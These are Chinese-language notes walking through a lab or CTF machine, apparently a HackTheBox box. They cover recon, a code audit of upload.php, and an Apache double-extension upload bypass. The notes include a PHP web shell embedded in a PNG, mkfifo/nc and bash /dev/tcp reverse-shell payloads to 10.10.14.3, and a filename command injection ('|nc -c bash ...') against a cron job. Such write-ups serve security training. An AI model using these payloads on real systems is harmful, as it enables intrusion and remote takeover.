nmap scan
dirsearch
port 80
80端口只有一段文字
在源码里显示upload界面还未完成
代码审计
有两个比较关键的文件
一个是upload.php
一个是lib.php
lib.php中一共有6个函数,等会会在upload.php中被调用
- 第一个是检查上传的文件名称
先按.切分
然后将名字命名为第一部分
然后把带有下划线的部分换成.
然后把余下的数组进行还原
返回一个name和一个用点隔开各单词的字符串
- 第一个是检查上传的文件名称
- 第二个是获取上传文件名
内容和第一个一样
- 第二个是获取上传文件名
- 第三个是检查ip
传进来一个perfix和一个文件名
检查ip地址是否合法
- 第三个是检查ip
- 第四个是特定功能的过滤
首先是一个正则表达式
以a-z开始后跟一个‘-’,接a-z,0-9接‘-’
如果有finfo函数,就自己处理一下不返回原来应该返回的东西
如果有mine_content_type函数也自己处理一下
- 第四个是特定功能的过滤
- 第五个上检查文件类型
用上面一个函数返回的文件类型匹配image
匹配成功就返回true
- 第五个上检查文件类型
upload.php
先检查文件类型和文件大小
只能传jpg,png,gif,jpeg
web
apache httpd中支持一个文件含有多个后缀,并为不同的后缀执行不同的命令
apache配置文件中如果添加了php对应的解析,则上传的文件只要包含.php就能执行
所以这里只要上传一个xxx.php.png,就能绕开过滤
把png文件用vim打开在中间插一句<?php system($_GET["cmd"]);?>
上传文件
成功上传并且能够显示命令
在传的文件后面跟?cmd=id会显示出相应的信息
反弹shell
?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f
?cmd=bash+-i+%3E%26+/dev/tcp/10.10.14.3/4444+0%3E%261
guly权限
在/home/guly里面有一个check_attack.php
还有一个计划任务脚本,每三分钟执行一次check_attack.php
如果能控制$path或者$value就能实现命令注入
check_attack.php会检查文件但是所有不以ip开头的文件都会跳过检查
在uploads文件夹里新建一个|nc -c bash 10.10.14.3 5555
文件
等待程序执行
会收到一个shell是guly权限的